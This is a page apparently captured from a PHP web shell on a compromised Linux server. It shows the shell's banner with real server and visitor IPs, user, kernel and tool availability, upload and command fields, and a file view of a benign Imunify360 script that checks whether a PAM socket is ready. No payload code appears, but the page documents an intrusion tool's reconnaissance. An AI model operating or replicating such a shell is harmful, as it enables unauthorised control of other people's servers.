- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.138.122.24
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/pamsock_ready_check
#!/opt/imunify360/venv/bin/python3
#
# Wait for PAM socket is ready
#
import socket as s
import sys
import time

from pam_i360.internals import (CONFIG,
                                 pam_imunify_config,
                                 logger_init)

PAMSOCK_PATH = '/opt/i360_pam_imunify/pam_imunify360.sock'
DELAY = 1
TIMEOUT_DEFAULT = 120

logger = logger_init()

if __name__ == '__main__':
    pamsock = s.socket(s.AF_UNIX, s.SOCK_STREAM)
    t0 = time.time()
    try:
        timeout = float(pam_imunify_config()['socket_readycheck_timeout'])
    except KeyError:
        timeout = TIMEOUT_DEFAULT
    except ValueError as e:
        timeout = TIMEOUT_DEFAULT
        logger.error("%s 'socket_readycheck_timeout=...' key parsing error: %s",
                     CONFIG,
                     e)
    while True:
        try:
            pamsock.connect(PAMSOCK_PATH)
        except (ConnectionRefusedError, FileNotFoundError) as e:
            logger.info("Waiting for PAM to start (%s)", e)
            if time.time() >= t0 + timeout:
                break
            time.sleep(DELAY)
        else:
            logger.info("PAM socket is ready.")
            sys.exit(0)
    logger.error("Failed to connect PAM socket in time.")
    sys.exit(1)

Youez - 2016 - github.com/yon3zu
LinuXploit